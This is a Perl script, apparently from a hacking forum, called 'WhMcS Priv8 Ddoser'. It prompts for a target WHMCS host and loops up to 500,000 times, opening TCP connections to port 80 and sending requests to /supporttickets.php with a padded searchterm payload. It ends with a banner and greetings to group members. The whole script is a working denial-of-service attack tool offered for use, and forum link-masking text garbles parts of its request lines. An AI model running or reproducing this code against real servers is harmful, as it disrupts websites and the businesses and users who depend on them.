WhMcS Priv8 Ddoser

#!/usr/bin/perl
# WhMcS Priv8 Ddoser Coded Written By Amir
# IeDb.Ir - IrIsT.Ir - redhathackers.org
#################################
#
# @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@@@@@
# @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@
# @@@ @@@@@@@@@@@ @@@ @ @@@@@@@@@@ @@@ @@@@@@
# @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@
# @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@ @@@ @@@
#
#####################################

use IO::Socket;
print "################################################## ########\n";
print "# #\n";
print "# WhMcS Priv8 Ddoser #\n";
print "# Iranian Exploit Database #\n";
print "# example: clients.site.com #\n";
print "# Coded Written By Amir == IeDb.Ir & IeDb.Ir/acc #\n";
print "# Greetz : all members In IeDb.ir And redhathackers.org #\n";
print "# #\n";
print "################################################## ########\n";
print "example = clients.site.com : ";
$HOST = <STDIN>;
chop ($HOST);

$i=0;
while($i<500000){
$i++;

$lower=1;
$upper=200000;
$random = int(rand( $upper-$lower+1 ) ) + $lower;
$FILE = "searchterm=%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0% 0%0%0%0%0%0";
$LENGTH = length $FILE;

$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$HOST", PeerPort => "80") || die "+";
print $get1 "GET /supporttickets.php [Only registered and activated users can see links]";
print $get1 "Host: ".$HOST. "\n";
print $get1 "Content-Type: application/x-[Only registered and activated users can see links]";
print $get1 "Content-Length: ".$LENGTH."\n\n";
print $get1 $FILE;
syswrite STDOUT, "+";
}
# We Are : Red V!per - C0dex - Behzad - Bl4ck M4n - F@riD - Medrik - TaK.FaNaR - ErfanMs - Dj.TiniVini
# 0x0ptim0us - ARTA - 0Day - Det3cT0r - Dj.TiniVini - E2MA3N - H-SK33PY - l4tr0d3ctism - gabby
# IeDb.Ir = IrIsT.Ir = redhathackers.org